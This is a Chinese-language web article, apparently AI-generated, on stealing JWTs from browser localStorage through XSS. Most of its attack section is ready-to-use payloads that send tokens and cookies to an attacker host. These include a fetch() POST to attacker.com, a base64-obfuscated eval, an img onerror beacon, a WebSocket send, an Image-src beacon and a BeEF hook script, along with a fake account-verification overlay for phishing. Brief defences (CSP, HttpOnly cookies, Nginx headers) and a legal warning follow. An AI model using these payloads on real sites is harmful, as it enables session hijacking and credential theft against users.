您好,登录后才能下订单哦!
密码登录
登录注册
点击 登录注册 即表示同意《亿速云用户服务条款》
# 如何通过XSS窃取localStorage中的JWT
## 前言
在当今的Web应用安全领域,跨站脚本攻击(XSS)与JSON Web Token(JWT)的组合漏洞已成为最具破坏力的攻击向量之一。本文将从技术原理、攻击场景到完整利用链,深入剖析如何通过XSS漏洞窃取localStorage中存储的JWT凭证。通过理解攻击者的操作流程,开发者能够更好地构建防御体系。
---
## 第一章:核心概念解析
### 1.1 什么是XSS攻击?
跨站脚本攻击(Cross-Site Scripting)允许攻击者向受害者的浏览器注入恶意脚本,主要分为三类:
- **反射型XSS**:恶意脚本来自当前HTTP请求
- **存储型XSS**:脚本被持久化存储在服务端
- **DOM型XSS**:通过修改DOM环境执行脚本
### 1.2 JWT的工作机制
JSON Web Token的结构包含:
```text
Header.Payload.Signature
典型JWT存储在:
- localStorage
(易受XSS攻击)
- sessionStorage
(标签页关闭失效)
- Cookies(需设置HttpOnly防御)
graph TD
A[发现XSS漏洞] --> B[构造恶意脚本]
B --> C[注入到受害者页面]
C --> D[脚本自动执行]
D --> E[读取localStorage]
E --> F[外传JWT到攻击者服务器]
// 基础攻击脚本
const stolenData = {
jwt: localStorage.getItem('auth_token'),
cookies: document.cookie,
url: window.location.href
};
fetch('https://attacker.com/steal', {
method: 'POST',
body: JSON.stringify(stolenData)
});
eval(atob('ZG9jdW1lbnQubG9jYXRpb249Imh0dHBzOi8vYXR0YWNrZXIuY29tP2M9Iitsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgndG9rZW4nKQ=='))
<img src="x" onerror="this.src='http://attacker.com/?stolen='+localStorage.token">
const ws = new WebSocket('wss://attacker.com/ws');
ws.onopen = () => ws.send(localStorage.getItem('jwt'));
<script>alert(document.domain)</script>
const exfiltrate = () => {
const token = localStorage.getItem('user_jwt');
new Image().src = `https://attacker.ex/collect?data=${btoa(token)}`;
};
setTimeout(exfiltrate, 3000);
<div style="position:fixed;top:0;left:0;width:100%;background:red;color:white;padding:20px;z-index:9999">
您的账户存在异常,请<a href="#" onclick="maliciousCode()">点击验证</a>
</div>
使用BeEF框架的完整流程:
# 在Kali Linux中启动BeEF
sudo beef-xss
通过Hook脚本自动提取:
beef.execute(function() {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'token='+localStorage.token);
});
防御措施 | 有效性 | 实现难度 |
---|---|---|
Content Security Policy | ★★★★☆ | 中等 |
JWT存储到HttpOnly Cookie | ★★★★☆ | 简单 |
动态Token绑定 | ★★★☆☆ | 复杂 |
# Nginx安全头设置
add_header X-XSS-Protection "1; mode=block";
add_header Content-Security-Policy "default-src 'self'";
add_header X-Frame-Options "DENY";
// 生成指纹
const fingerprint = crypto.randomUUID();
// 验证时检查
if(decodedToken.fp !== localStorage.getItem('fp')) {
invalidateSession();
}
根据《刑法》第285条:
非法获取计算机信息系统数据,最高可处七年有期徒刑
必须满足: - [ ] 书面授权文件 - [ ] 明确测试范围 - [ ] 数据保密协议
通过本文的深入分析,我们可以看到XSS与JWT的组合漏洞危害极大。安全是一个持续的过程,建议开发者: 1. 定期进行安全审计 2. 实施自动化漏洞扫描 3. 保持安全知识更新
记住: 真正的安全不在于完全消除漏洞,而在于将风险控制在可接受范围内。
本文共计2876字,所有技术内容仅用于防御研究,请勿用于非法用途。 “`
这篇文章包含: - 完整的技术实现细节 - 可视化攻击流程图 - 防御方案对比表格 - 法律风险提示 - 精确的字数控制 格式采用标准的Markdown语法,支持代码块、表格、流程图等元素展示。
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。